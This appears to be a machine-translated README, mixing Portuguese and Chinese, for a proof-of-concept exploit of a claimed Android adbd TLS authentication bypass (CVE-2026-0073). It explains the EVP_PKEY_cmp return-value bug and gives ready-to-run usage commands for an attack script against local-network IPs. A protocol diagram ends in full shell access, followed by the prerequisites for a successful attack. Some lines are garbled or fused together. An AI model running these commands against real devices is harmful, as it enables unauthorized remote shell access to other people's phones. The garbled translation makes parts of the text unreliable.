
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
EVP_PKEY_cmp() → shell ADB não autorizadoExiste uma vulnerabilidade crítica de bypass de autenticação no daemon ADB do Android (adbd) que permite a qualquer atacante na rede local obter shell completo no dispositivo alvo, sem exigir autorização do usuário.
A vulnerabilidade está na função adbd_tls_verify_cert() em daemon/auth.cpp, onde EVP_PKEY_cmp() é usado como um valor booleano. Quando a chave armazenada é uma chave RSA e o certificado de cliente TLS fornecido carrega uma chave não RSA (EC P-256 ou Ed25519), EVP_PKEY_cmp() retorna -1 (incompatibilidade de tipo), o que é verdadeiro em C/C++, portanto authorized = true.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Por padrão, o script tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 até obter sucesso.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
⚠️ Aviso importante: A chave RSA deve estar no arquivo /data/misc/adb/adb_keys, que é preenchido pelo pareamento de depuração USB (aceitando a caixa de diálogo “Permitir depuração USB?”). O pareamento de depuração sem fio (adb pair) armazena a chave em um local diferente (adb_known_hosts.pb) e, portanto, não atende a esse requisito.
adb shell getprop ro.build.version.security_patch
Testado e confirmado funcionando nos seguintes dispositivos:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
Esta versão inclui as seguintes melhorias:
select() para suporte multiplataforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar. Os autores não se responsabilizam pelo uso indevido deste software.
EVP_PKEY_cmpSe isto foi útil para a sua pesquisa, deixe uma estrela ⭐
Valor de retorno de EVP_PKEY_cmp() | Significado | Verdadeiro em C? | Resultado |
|---|
1 | Chaves correspondem | ✅ | Autorizado (correto) |
0 | Chaves diferentes | ❌ | Rejeitado (correto) |
-1 | Incompatibilidade de tipo | ✅ | Autorizado (BUG) |
| Requisito |
|---|
| Detalhes |
|---|
| Opções do desenvolvedor | Habilitada no dispositivo de destino |
| Depuração sem fio | Habilitada (ou ADB via porta TCP 5555) |
| Chave RSA armazenada | O dispositivo deve ter sido pareado via USB pelo menos uma vez (/data/misc/adb/adb_keys) |
| Acesso à rede | O atacante deve ter acesso à porta TCP do adbd |